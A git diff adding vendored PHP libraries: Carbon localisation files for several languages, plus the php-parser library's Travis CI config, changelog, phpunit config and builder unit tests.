a/vendor/nesbot/carbon/src/Carbon/Lang/th.php b/vendor/nesbot/carbon/src/Carbon/Lang/th.php new file mode 100644 index 00000000..88bb4ac4 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/th.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count ปี', + 'y' => ':count ปี', + 'month' => ':count เดือน', + 'm' => ':count เดือน', + 'week' => ':count สัปดาห์', + 'w' => ':count สัปดาห์', + 'day' => ':count วัน', + 'd' => ':count วัน', + 'hour' => ':count ชั่วโมง', + 'h' => ':count ชั่วโมง', + 'minute' => ':count นาที', + 'min' => ':count นาที', + 'second' => ':count วินาที', + 's' => ':count วินาที', + 'ago' => ':timeที่แล้ว', + 'from_now' => ':timeต่อจากนี้', + 'after' => ':timeหลังจากนี้', + 'before' => ':timeก่อน', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/tr.php b/vendor/nesbot/carbon/src/Carbon/Lang/tr.php new file mode 100644 index 00000000..6a9dfed8 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/tr.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count yıl', + 'y' => ':count yıl', + 'month' => ':count ay', + 'm' => ':count ay', + 'week' => ':count hafta', + 'w' => ':count hafta', + 'day' => ':count gün', + 'd' => ':count gün', + 'hour' => ':count saat', + 'h' => ':count saat', + 'minute' => ':count dakika', + 'min' => ':count dakika', + 'second' => ':count saniye', + 's' => ':count saniye', + 'ago' => ':time önce', + 'from_now' => ':time sonra', + 'after' => ':time sonra', + 'before' => ':time önce', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/uk.php b/vendor/nesbot/carbon/src/Carbon/Lang/uk.php new file mode 100644 index 00000000..8d08eaa4 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/uk.php @@ -0,0 +1,40 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count рік|:count роки|:count років', + 'y' => ':count рік|:count роки|:count років', + 'month' => ':count місяць|:count місяці|:count місяців', + 'm' => ':count місяць|:count місяці|:count місяців', + 'week' => ':count тиждень|:count тижні|:count тижнів', + 'w' => ':count тиждень|:count тижні|:count тижнів', + 'day' => ':count день|:count дні|:count днів', + 'd' => ':count день|:count дні|:count днів', + 'hour' => ':count година|:count години|:count годин', + 'h' => ':count година|:count години|:count годин', + 'minute' => ':count хвилину|:count хвилини|:count хвилин', + 'min' => ':count хвилину|:count хвилини|:count хвилин', + 'second' => ':count секунду|:count секунди|:count секунд', + 's' => ':count секунду|:count секунди|:count секунд', + 'ago' => ':time тому', + 'from_now' => 'через :time', + 'after' => ':time після', + 'before' => ':time до', + 'diff_now' => 'щойно', + 'diff_yesterday' => 'вчора', + 'diff_tomorrow' => 'завтра', + 'diff_before_yesterday' => 'позавчора', + 'diff_after_tomorrow' => 'післязавтра', + 'period_recurrences' => 'один раз|:count рази|:count разів', + 'period_interval' => 'кожні :interval', + 'period_start_date' => 'з :date', + 'period_end_date' => 'до :date', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/ur.php b/vendor/nesbot/carbon/src/Carbon/Lang/ur.php new file mode 100644 index 00000000..3c5f7ed9 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/ur.php @@ -0,0 +1,24 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count سال', + 'month' => ':count ماه', + 'week' => ':count ہفتے', + 'day' => ':count روز', + 'hour' => ':count گھنٹے', + 'minute' => ':count منٹ', + 'second' => ':count سیکنڈ', + 'ago' => ':time پہلے', + 'from_now' => ':time بعد', + 'after' => ':time بعد', + 'before' => ':time پہلے', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/uz.php b/vendor/nesbot/carbon/src/Carbon/Lang/uz.php new file mode 100644 index 00000000..1cb6f713 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/uz.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count yil', + 'y' => ':count yil', + 'month' => ':count oy', + 'm' => ':count oy', + 'week' => ':count hafta', + 'w' => ':count hafta', + 'day' => ':count kun', + 'd' => ':count kun', + 'hour' => ':count soat', + 'h' => ':count soat', + 'minute' => ':count daqiqa', + 'min' => ':count daq', + 'second' => ':count soniya', + 's' => ':count s', + 'ago' => ':time avval', + 'from_now' => ':time dan keyin', + 'after' => ':time keyin', + 'before' => ':time oldin', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/vi.php b/vendor/nesbot/carbon/src/Carbon/Lang/vi.php new file mode 100644 index 00000000..3f9838d6 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/vi.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count năm', + 'y' => ':count năm', + 'month' => ':count tháng', + 'm' => ':count tháng', + 'week' => ':count tuần', + 'w' => ':count tuần', + 'day' => ':count ngày', + 'd' => ':count ngày', + 'hour' => ':count giờ', + 'h' => ':count giờ', + 'minute' => ':count phút', + 'min' => ':count phút', + 'second' => ':count giây', + 's' => ':count giây', + 'ago' => ':time trước', + 'from_now' => ':time từ bây giờ', + 'after' => ':time sau', + 'before' => ':time trước', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/zh.php b/vendor/nesbot/carbon/src/Carbon/Lang/zh.php new file mode 100644 index 00000000..9e1f6cad --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/zh.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count年', + 'y' => ':count年', + 'month' => ':count个月', + 'm' => ':count个月', + 'week' => ':count周', + 'w' => ':count周', + 'day' => ':count天', + 'd' => ':count天', + 'hour' => ':count小时', + 'h' => ':count小时', + 'minute' => ':count分钟', + 'min' => ':count分钟', + 'second' => ':count秒', + 's' => ':count秒', + 'ago' => ':time前', + 'from_now' => '距现在:time', + 'after' => ':time后', + 'before' => ':time前', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/zh_TW.php b/vendor/nesbot/carbon/src/Carbon/Lang/zh_TW.php new file mode 100644 index 00000000..c848723b --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/zh_TW.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count年', + 'y' => ':count年', + 'month' => ':count月', + 'm' => ':count月', + 'week' => ':count週', + 'w' => ':count週', + 'day' => ':count天', + 'd' => ':count天', + 'hour' => ':count小時', + 'h' => ':count小時', + 'minute' => ':count分鐘', + 'min' => ':count分鐘', + 'second' => ':count秒', + 's' => ':count秒', + 'ago' => ':time前', + 'from_now' => '距現在:time', + 'after' => ':time後', + 'before' => ':time前', +); diff --git a/vendor/nikic/php-parser/.travis.yml b/vendor/nikic/php-parser/.travis.yml new file mode 100644 index 00000000..47169154 --- /dev/null +++ b/vendor/nikic/php-parser/.travis.yml @@ -0,0 +1,32 @@ +language: php + +sudo: false + +cache: + directories: + - $HOME/.composer/cache + +php: + - 5.4 + - 5.5 + - 5.6 + - 7.0 + - nightly + - hhvm + +install: + - if [ $TRAVIS_PHP_VERSION = '5.6' ]; then composer require satooshi/php-coveralls '~1.0'; fi + - composer install --prefer-dist + +matrix: + allow_failures: + - php: nightly + fast_finish: true + +script: + - if [ $TRAVIS_PHP_VERSION = '5.6' ]; then vendor/bin/phpunit --coverage-clover build/logs/clover.xml; else vendor/bin/phpunit; fi + - if [ $TRAVIS_PHP_VERSION = '7.0' ]; then test_old/run-php-src.sh; fi + +after_success: + if [ $TRAVIS_PHP_VERSION = '5.6' ]; then php vendor/bin/coveralls; fi + diff --git a/vendor/nikic/php-parser/CHANGELOG.md b/vendor/nikic/php-parser/CHANGELOG.md new file mode 100644 index 00000000..0ae6b7ed --- /dev/null +++ b/vendor/nikic/php-parser/CHANGELOG.md @@ -0,0 +1,151 @@ +Version 2.1.2-dev +----------------- + +Nothing yet. + +Version 2.1.1 (2016-09-16) +-------------------------- + +### Changed + +* The pretty printer will now escape all control characters in the range `\x00-\x1F` inside double + quoted strings. If no special escape sequence is available, an octal escape will be used. +* The quality of the error recovery has been improved. In particular unterminated expressions should + be handled more gracefully. +* The PHP 7 parser will now generate a parse error for `$var =& new Obj` assignments. +* Comments on free-standing code blocks will no be retained as comments on the first statement in + the code block. + +Version 2.1.0 (2016-04-19) +-------------------------- + +### Fixed + +* Properly support `B""` strings (with uppercase `B`) in a number of places. +* Fixed reformatting of indented parts in a certain non-standard comment style. + +### Added + +* Added `dumpComments` option to node dumper, to enable dumping of comments associated with nodes. +* Added `Stmt\Nop` node, that is used to collect comments located at the end of a block or at the + end of a file (without a following node with which they could otherwise be associated). +* Added `kind` attribute to `Expr\Exit` to distinguish between `exit` and `die`. +* Added `kind` attribute to `Scalar\LNumber` to distinguish between decimal, binary, octal and + hexadecimal numbers. +* Added `kind` attribtue to `Expr\Array` to distinguish between `array()` and `[]`. +* Added `kind` attribute to `Scalar\String` and `Scalar\Encapsed` to distinguish between + single-quoted, double-quoted, heredoc and nowdoc string. +* Added `docLabel` attribute to `Scalar\String` and `Scalar\Encapsed`, if it is a heredoc or + nowdoc string. +* Added start file offset information to `Comment` nodes. +* Added `setReturnType()` method to function and method builders. +* Added `-h` and `--help` options to `php-parse` script. + +### Changed + +* Invalid octal literals now throw a parse error in PHP 7 mode. +* The pretty printer takes all the new attributes mentioned in the previous section into account. +* The protected `AbstractPrettyPrinter::pComments()` method no longer returns a trailing newline. +* The bundled autoloader supports library files being stored in a different directory than + `PhpParser` for easier downstream distribution. + +### Deprecated + +* The `Comment::setLine()` and `Comment::setText()` methods have been deprecated. Construct new + objects instead. + +### Removed + +* The internal (but public) method `Scalar\LNumber::parse()` has been removed. A non-internal + `LNumber::fromString()` method has been added instead. + +Version 2.0.1 (2016-02-28) +-------------------------- + +### Fixed + +* `declare() {}` and `declare();` are not semantically equivalent and will now result in different + ASTs. The format case will have an empty `stmts` array, while the latter will set `stmts` to + `null`. +* Magic constants are now supported as semi-reserved keywords. +* A shebang line like `#!/usr/bin/env php` is now allowed at the start of a namespaced file. + Previously this generated an exception. +* The `prettyPrintFile()` method will not strip a trailing `?>` from the raw data that follows a + `__halt_compiler()` statement. +* The `prettyPrintFile()` method will not strip an opening `slice()` which takes a subslice of a name. + +### Changed + +* `PhpParser\Parser` is now an interface, implemented by `Parser\Php5`, `Parser\Php7` and + `Parser\Multiple`. The `Multiple` parser will try multiple parsers, until one succeeds. +* Token constants are now defined on `PhpParser\Parser\Tokens` rather than `PhpParser\Parser`. +* The `Name->set()`, `Name->append()`, `Name->prepend()` and `Name->setFirst()` methods are + deprecated in favor of `Name::concat()` and `Name->slice()`. +* The `NodeTraverser` no longer clones nodes by default. The old behavior can be restored by + passing `true` to the constructor. +* The constructor for `Scalar` nodes no longer has a default value. E.g. `new LNumber()` should now + be written as `new LNumber(0)`. + +--- + +**This changelog only includes changes from the 2.0 series. For older changes see the +[1.x series changelog](https://github.com/nikic/PHP-Parser/blob/1.x/CHANGELOG.md) and the +[0.9 series changelog](https://github.com/nikic/PHP-Parser/blob/0.9/CHANGELOG.md).** \ No newline at end of file diff --git a/vendor/nikic/php-parser/bin/php-parse b/vendor/nikic/php-parser/bin/php-parse old mode 100644 new mode 100755 diff --git a/vendor/nikic/php-parser/phpunit.xml.dist b/vendor/nikic/php-parser/phpunit.xml.dist new file mode 100644 index 00000000..8c2d0f22 --- /dev/null +++ b/vendor/nikic/php-parser/phpunit.xml.dist @@ -0,0 +1,24 @@ + + + + + + ./test/ + + + + + + ./lib/PhpParser/ + + + diff --git a/vendor/nikic/php-parser/test/PhpParser/AutoloaderTest.php b/vendor/nikic/php-parser/test/PhpParser/AutoloaderTest.php new file mode 100644 index 00000000..e16b9f21 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/AutoloaderTest.php @@ -0,0 +1,18 @@ +assertTrue(class_exists('PhpParser\NodeVisitorAbstract')); + $this->assertFalse(class_exists('PHPParser_NodeVisitor_NameResolver')); + + $this->assertFalse(class_exists('PhpParser\FooBar')); + $this->assertFalse(class_exists('PHPParser_FooBar')); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/Builder/ClassTest.php b/vendor/nikic/php-parser/test/PhpParser/Builder/ClassTest.php new file mode 100644 index 00000000..94ce67af --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Builder/ClassTest.php @@ -0,0 +1,161 @@ +createClassBuilder('SomeLogger') + ->extend('BaseLogger') + ->implement('Namespaced\Logger', new Name('SomeInterface')) + ->implement('\Fully\Qualified', 'namespace\NamespaceRelative') + ->getNode() + ; + + $this->assertEquals( + new Stmt\Class_('SomeLogger', array( + 'extends' => new Name('BaseLogger'), + 'implements' => array( + new Name('Namespaced\Logger'), + new Name('SomeInterface'), + new Name\FullyQualified('Fully\Qualified'), + new Name\Relative('NamespaceRelative'), + ), + )), + $node + ); + } + + public function testAbstract() { + $node = $this->createClassBuilder('Test') + ->makeAbstract() + ->getNode() + ; + + $this->assertEquals( + new Stmt\Class_('Test', array( + 'type' => Stmt\Class_::MODIFIER_ABSTRACT + )), + $node + ); + } + + public function testFinal() { + $node = $this->createClassBuilder('Test') + ->makeFinal() + ->getNode() + ; + + $this->assertEquals( + new Stmt\Class_('Test', array( + 'type' => Stmt\Class_::MODIFIER_FINAL + )), + $node + ); + } + + public function testStatementOrder() { + $method = new Stmt\ClassMethod('testMethod'); + $property = new Stmt\Property( + Stmt\Class_::MODIFIER_PUBLIC, + array(new Stmt\PropertyProperty('testProperty')) + ); + $const = new Stmt\ClassConst(array( + new Node\Const_('TEST_CONST', new Node\Scalar\String_('ABC')) + )); + $use = new Stmt\TraitUse(array(new Name('SomeTrait'))); + + $node = $this->createClassBuilder('Test') + ->addStmt($method) + ->addStmt($property) + ->addStmts(array($const, $use)) + ->getNode() + ; + + $this->assertEquals( + new Stmt\Class_('Test', array( + 'stmts' => array($use, $const, $property, $method) + )), + $node + ); + } + + public function testDocComment() { + $docComment = <<<'DOC' +/** + * Test + */ +DOC; + $class = $this->createClassBuilder('Test') + ->setDocComment($docComment) + ->getNode(); + + $this->assertEquals( + new Stmt\Class_('Test', array(), array( + 'comments' => array( + new Comment\Doc($docComment) + ) + )), + $class + ); + + $class = $this->createClassBuilder('Test') + ->setDocComment(new Comment\Doc($docComment)) + ->getNode(); + + $this->assertEquals( + new Stmt\Class_('Test', array(), array( + 'comments' => array( + new Comment\Doc($docComment) + ) + )), + $class + ); + } + + /** + * @expectedException \LogicException + * @expectedExceptionMessage Unexpected node of type "Stmt_Echo" + */ + public function testInvalidStmtError() { + $this->createClassBuilder('Test') + ->addStmt(new Stmt\Echo_(array())) + ; + } + + /** + * @expectedException \LogicException + * @expectedExceptionMessage Doc comment must be a string or an instance of PhpParser\Comment\Doc + */ + public function testInvalidDocComment() { + $this->createClassBuilder('Test') + ->setDocComment(new Comment('Test')); + } + + /** + * @expectedException \LogicException + * @expectedExceptionMessage Name cannot be empty + */ + public function testEmptyName() { + $this->createClassBuilder('Test') + ->extend(''); + } + + /** + * @expectedException \LogicException + * @expectedExceptionMessage Name must be a string or an instance of PhpParser\Node\Name + */ + public function testInvalidName() { + $this->createClassBuilder('Test') + ->extend(array('Foo')); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/Builder/FunctionTest.php b/vendor/nikic/php-parser/test/PhpParser/Builder/FunctionTest.php new file mode 100644 index 00000000..7b397fe3 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Builder/FunctionTest.php @@ -0,0 +1,98 @@ +createFunctionBuilder('test') + ->makeReturnByRef() + ->getNode() + ; + + $this->assertEquals( + new Stmt\Function_('test', array( + 'byRef' => true + )), + $node + ); + } + + public function testParams() { + $param1 = new Node\Param('test1'); + $param2 = new Node\Param('test2'); + $param3 = new Node\Param('test3'); + + $node = $this->createFunctionBuilder('test') + ->addParam($param1) + ->addParams(array($param2, $param3)) + ->getNode() + ; + + $this->assertEquals( + new Stmt\Function_('test', array( + 'params' => array($param1, $param2, $param3) + )), + $node + ); + } + + public function testStmts() { + $stmt1 = new Print_(new String_('test1')); + $stmt2 = new Print_(new String_('test2')); + $stmt3 = new Print_(new String_('test3')); + + $node = $this->createFunctionBuilder('test') + ->addStmt($stmt1) + ->addStmts(array($stmt2, $stmt3)) + ->getNode() + ; + + $this->assertEquals( + new Stmt\Function_('test', array( + 'stmts' => array($stmt1, $stmt2, $stmt3) + )), + $node + ); + } + + public function testDocComment() { + $node = $this->createFunctionBuilder('test') + ->setDocComment('/** Test */') + ->getNode(); + + $this->assertEquals(new Stmt\Function_('test', array(), array( + 'comments' => array(new Comment\Doc('/** Test */')) + )), $node); + } + + public function testReturnType() { + $node = $this->createFunctionBuilder('test') + ->setReturnType('bool') + ->getNode(); + + $this->assertEquals(new Stmt\Function_('test', array( + 'returnType' => 'bool' + ), array()), $node); + } + + /** + * @expectedException \LogicException + * @expectedExceptionMessage Expected parameter node, got "Name" + */ + public function testInvalidParamError() { + $this->createFunctionBuilder('test') + ->addParam(new Node\Name('foo')) + ; + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/Builder/InterfaceTest.php b/vendor/nikic/php-parser/test/PhpParser/Builder/InterfaceTest.php new file mode 100644 index 00000000..c0d2fe37 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Builder/InterfaceTest.php @@ -0,0 +1,105 @@ +builder = new Interface_('Contract'); + } + + private function dump($node) { + $pp = new \PhpParser\PrettyPrinter\Standard; + return $pp->prettyPrint(array($node)); + } + + public function testEmpty() { + $contract = $this->builder->getNode(); + $this->assertInstanceOf('PhpParser\Node\Stmt\Interface_', $contract); + $this->assertSame('Contract', $contract->name); + } + + public function testExtending() { + $contract = $this->builder->extend('Space\Root1', 'Root2')->getNode(); + $this->assertEquals( + new Stmt\Interface_('Contract', array( + 'extends' => array( + new Node\Name('Space\Root1'), + new Node\Name('Root2') + ), + )), $contract + ); + } + + public function testAddMethod() { + $method = new Stmt\ClassMethod('doSomething'); + $contract = $this->builder->addStmt($method)->getNode(); + $this->assertSame(array($method), $contract->stmts); + } + + public function testAddConst() { + $const = new Stmt\ClassConst(array( + new Node\Const_('SPEED_OF_LIGHT', new DNumber(299792458.0)) + )); + $contract = $this->builder->addStmt($const)->getNode(); + $this->assertSame(299792458.0, $contract->stmts[0]->consts[0]->value->value); + } + + public function testOrder() { + $const = new Stmt\ClassConst(array( + new Node\Const_('SPEED_OF_LIGHT', new DNumber(299792458)) + )); + $method = new Stmt\ClassMethod('doSomething'); + $contract = $this->builder + ->addStmt($method) + ->addStmt($const) + ->getNode() + ; + + $this->assertInstanceOf('PhpParser\Node\Stmt\ClassConst', $contract->stmts[0]); + $this->assertInstanceOf('PhpParser\Node\Stmt\ClassMethod', $contract->stmts[1]); + } + + public function testDocComment() { + $node = $this->builder + ->setDocComment('/** Test */') + ->getNode(); + + $this->assertEquals(new Stmt\Interface_('Contract', array(), array( + 'comments' => array(new Comment\Doc('/** Test */')) + )), $node); + } + + /** + * @expectedException \LogicException + * @expectedExceptionMessage Unexpected node of type "Stmt_PropertyProperty" + */ + public function testInvalidStmtError() { + $this->builder->addStmt(new Stmt\PropertyProperty('invalid')); + } + + public function testFullFunctional() { + $const = new Stmt\ClassConst(array( + new Node\Const_('SPEED_OF_LIGHT', new DNumber(299792458)) + )); + $method = new Stmt\ClassMethod('doSomething'); + $contract = $this->builder + ->addStmt($method) + ->addStmt($const) + ->getNode() + ; + + eval($this->dump($contract)); + + $this->assertTrue(interface_exists('Contract', false)); + } +} + diff --git a/vendor/nikic/php-parser/test/PhpParser/Builder/MethodTest.php b/vendor/nikic/php-parser/test/PhpParser/Builder/MethodTest.php new file mode 100644 index 00000000..aa8e976a --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Builder/MethodTest.php @@ -0,0 +1,163 @@ +createMethodBuilder('test') + ->makePublic() + ->makeAbstract() + ->makeStatic() + ->getNode() + ; + + $this->assertEquals( + new Stmt\ClassMethod('test', array( + 'type' => Stmt\Class_::MODIFIER_PUBLIC + | Stmt\Class_::MODIFIER_ABSTRACT + | Stmt\Class_::MODIFIER_STATIC, + 'stmts' => null, + )), + $node + ); + + $node = $this->createMethodBuilder('test') + ->makeProtected() + ->makeFinal() + ->getNode() + ; + + $this->assertEquals( + new Stmt\ClassMethod('test', array( + 'type' => Stmt\Class_::MODIFIER_PROTECTED + | Stmt\Class_::MODIFIER_FINAL + )), + $node + ); + + $node = $this->createMethodBuilder('test') + ->makePrivate() + ->getNode() + ; + + $this->assertEquals( + new Stmt\ClassMethod('test', array( + 'type' => Stmt\Class_::MODIFIER_PRIVATE + )), + $node + ); + } + + public function testReturnByRef() { + $node = $this->createMethodBuilder('test') + ->makeReturnByRef() + ->getNode() + ; + + $this->assertEquals( + new Stmt\ClassMethod('test', array( + 'byRef' => true + )), + $node + ); + } + + public function testParams() { + $param1 = new Node\Param('test1'); + $param2 = new Node\Param('test2'); + $param3 = new Node\Param('test3'); + + $node = $this->createMethodBuilder('test') + ->addParam($param1) + ->addParams(array($param2, $param3)) + ->getNode() + ; + + $this->assertEquals( + new Stmt\ClassMethod('test', array( + 'params' => array($param1, $param2, $param3) + )), + $node + ); + } + + public function testStmts() { + $stmt1 = new Print_(new String_('test1')); + $stmt2 = new Print_(new String_('test2')); + $stmt3 = new Print_(new String_('test3')); + + $node = $this->createMethodBuilder('test') + ->addStmt($stmt1) + ->addStmts(array($stmt2, $stmt3)) + ->getNode() + ; + + $this->assertEquals( + new Stmt\ClassMethod('test', array( + 'stmts' => array($stmt1, $stmt2, $stmt3) + )), + $node + ); + } + public function testDocComment() { + $node = $this->createMethodBuilder('test') + ->setDocComment('/** Test */') + ->getNode(); + + $this->assertEquals(new Stmt\ClassMethod('test', array(), array( + 'comments' => array(new Comment\Doc('/** Test */')) + )), $node); + } + + public function testReturnType() { + $node = $this->createMethodBuilder('test') + ->setReturnType('bool') + ->getNode(); + $this->assertEquals(new Stmt\ClassMethod('test', array( + 'returnType' => 'bool' + ), array()), $node); + } + + /** + * @expectedException \LogicException + * @expectedExceptionMessage Cannot add statements to an abstract method + */ + public function testAddStmtToAbstractMethodError() { + $this->createMethodBuilder('test') + ->makeAbstract() + ->addStmt(new Print_(new String_('test'))) + ; + } + + /** + * @expectedException \LogicException + * @expectedExceptionMessage Cannot make method with statements abstract + */ + public function testMakeMethodWithStmtsAbstractError() { + $this->createMethodBuilder('test') + ->addStmt(new Print_(new String_('test'))) + ->makeAbstract() + ; + } + + /** + * @expectedException \LogicException + * @expectedExceptionMessage Expected parameter node, got "Name" + */ + public function testInvalidParamError() { + $this->createMethodBuilder('test') + ->addParam(new Node\Name('foo')) + ; + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/Builder/NamespaceTest.php b/vendor/nikic/php-parser/test/PhpParser/Builder/NamespaceTest.php new file mode 100644 index 00000000..54e8c93d --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Builder/NamespaceTest.php @@ -0,0 +1,41 @@ +createNamespaceBuilder('Name\Space') + ->addStmt($stmt1) + ->addStmts(array($stmt2, $stmt3)) + ->getNode() + ; + $this->assertEquals($expected, $node); + + $node = $this->createNamespaceBuilder(new Node\Name(array('Name', 'Space'))) + ->addStmts(array($stmt1, $stmt2)) + ->addStmt($stmt3) + ->getNode() + ; + $this->assertEquals($expected, $node); + + $node = $this->createNamespaceBuilder(null)->getNode(); + $this->assertNull($node->name); + $this->assertEmpty($node->stmts); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/Builder/ParamTest.php b/vendor/nikic/php-parser/test/PhpParser/Builder/ParamTest.php new file mode 100644 index 00000000..f71a10c2 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Builder/ParamTest.php @@ -0,0 +1,124 @@ +createParamBuilder('test') + ->setDefault($value) + ->getNode() + ; + + $this->assertEquals($expectedValueNode, $node->default); + } + + public function provideTestDefaultValues() { + return array( + array( + null, + new Expr\ConstFetch(new Node\Name('null')) + ), + array( + true, + new Expr\ConstFetch(new Node\Name('true')) + ), + array( + false, + new Expr\ConstFetch(new Node\Name('false')) + ), + array( + 31415, + new Scalar\LNumber(31415) + ), + array( + 3.1415, + new Scalar\DNumber(3.1415) + ), + array( + 'Hallo World', + new Scalar\String_('Hallo World') + ), + array( + array(1, 2, 3), + new Expr\Array_(array( + new Expr\ArrayItem(new Scalar\LNumber(1)), + new Expr\ArrayItem(new Scalar\LNumber(2)), + new Expr\ArrayItem(new Scalar\LNumber(3)), + )) + ), + array( + array('foo' => 'bar', 'bar' => 'foo'), + new Expr\Array_(array( + new Expr\ArrayItem( + new Scalar\String_('bar'), + new Scalar\String_('foo') + ), + new Expr\ArrayItem( + new Scalar\String_('foo'), + new Scalar\String_('bar') + ), + )) + ), + array( + new Scalar\MagicConst\Dir, + new Scalar\MagicConst\Dir + ) + ); + } + + public function testTypeHints() { + $node = $this->createParamBuilder('test') + ->setTypeHint('array') + ->getNode() + ; + + $this->assertEquals( + new Node\Param('test', null, 'array'), + $node + ); + + $node = $this->createParamBuilder('test') + ->setTypeHint('callable') + ->getNode() + ; + + $this->assertEquals( + new Node\Param('test', null, 'callable'), + $node + ); + + $node = $this->createParamBuilder('test') + ->setTypeHint('Some\Class') + ->getNode() + ; + + $this->assertEquals( + new Node\Param('test', null, new Node\Name('Some\Class')), + $node + ); + } + + public function testByRef() { + $node = $this->createParamBuilder('test') + ->makeByRef() + ->getNode() + ; + + $this->assertEquals( + new Node\Param('test', null, null, true), + $node + ); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/Builder/PropertyTest.php b/vendor/nikic/php-parser/test/PhpParser/Builder/PropertyTest.php new file mode 100644 index 00000000..1e62173d --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Builder/PropertyTest.php @@ -0,0 +1,147 @@ +createPropertyBuilder('test') + ->makePrivate() + ->makeStatic() + ->getNode() + ; + + $this->assertEquals( + new Stmt\Property( + Stmt\Class_::MODIFIER_PRIVATE + | Stmt\Class_::MODIFIER_STATIC, + array( + new Stmt\PropertyProperty('test') + ) + ), + $node + ); + + $node = $this->createPropertyBuilder('test') + ->makeProtected() + ->getNode() + ; + + $this->assertEquals( + new Stmt\Property( + Stmt\Class_::MODIFIER_PROTECTED, + array( + new Stmt\PropertyProperty('test') + ) + ), + $node + ); + + $node = $this->createPropertyBuilder('test') + ->makePublic() + ->getNode() + ; + + $this->assertEquals( + new Stmt\Property( + Stmt\Class_::MODIFIER_PUBLIC, + array( + new Stmt\PropertyProperty('test') + ) + ), + $node + ); + } + + public function testDocComment() { + $node = $this->createPropertyBuilder('test') + ->setDocComment('/** Test */') + ->getNode(); + + $this->assertEquals(new Stmt\Property( + Stmt\Class_::MODIFIER_PUBLIC, + array( + new Stmt\PropertyProperty('test') + ), + array( + 'comments' => array(new Comment\Doc('/** Test */')) + ) + ), $node); + } + + /** + * @dataProvider provideTestDefaultValues + */ + public function testDefaultValues($value, $expectedValueNode) { + $node = $this->createPropertyBuilder('test') + ->setDefault($value) + ->getNode() + ; + + $this->assertEquals($expectedValueNode, $node->props[0]->default); + } + + public function provideTestDefaultValues() { + return array( + array( + null, + new Expr\ConstFetch(new Name('null')) + ), + array( + true, + new Expr\ConstFetch(new Name('true')) + ), + array( + false, + new Expr\ConstFetch(new Name('false')) + ), + array( + 31415, + new Scalar\LNumber(31415) + ), + array( + 3.1415, + new Scalar\DNumber(3.1415) + ), + array( + 'Hallo World', + new Scalar\String_('Hallo World') + ), + array( + array(1, 2, 3), + new Expr\Array_(array( + new Expr\ArrayItem(new Scalar\LNumber(1)), + new Expr\ArrayItem(new Scalar\LNumber(2)), + new Expr\ArrayItem(new Scalar\LNumber(3)), + )) + ), + array( + array('foo' => 'bar', 'bar' => 'foo'), + new Expr\Array_(array( + new Expr\ArrayItem( + new Scalar\String_('bar'), + new Scalar\String_('foo') + ), + new Expr\ArrayItem( + new Scalar\String_('foo'), + new Scalar\String_('bar') + ), + )) + ), + array( + new Scalar\MagicConst\Dir, + new Scalar\MagicConst\Dir + ) + ); + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/Builder/TraitTest.php b/vendor/nikic/php-parser/test/PhpParser/Builder/TraitTest.php new file mode 100644 index 00000000..a6d69ada --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Builder/TraitTest.php @@ -0,0 +1,47 @@ +createTraitBuilder('TestTrait') + ->setDocComment('/** Nice trait */') + ->addStmt($method1) + ->addStmts(array($method2, $method3)) + ->addStmt($prop) + ->getNode(); + $this->assertEquals(new Stmt\Trait_('TestTrait', array( + $prop, $method1, $method2, $method3 + ), array( + 'comments' => array( + new Comment\Doc('/** Nice trait */') + ) + )), $trait); + } + + /** + * @expectedException \LogicException + * @expectedExceptionMessage Unexpected node of type "Stmt_Echo" + */ + public function testInvalidStmtError() { + $this->createTraitBuilder('Test') + ->addStmt(new Stmt\Echo_(array())) + ; + } +} diff --git a/vendor/nikic/php-parser/test/PhpParser/Builder/UseTest.php b/vendor/nikic/php-parser/test/PhpParser/Builder/UseTest.php new file mode 100644 index 00000000..adaeb3a5 --- /dev/null +++ b/vendor/nikic/php-parser/test/PhpParser/Builder/UseTest.php @@ -0,0 +1,35 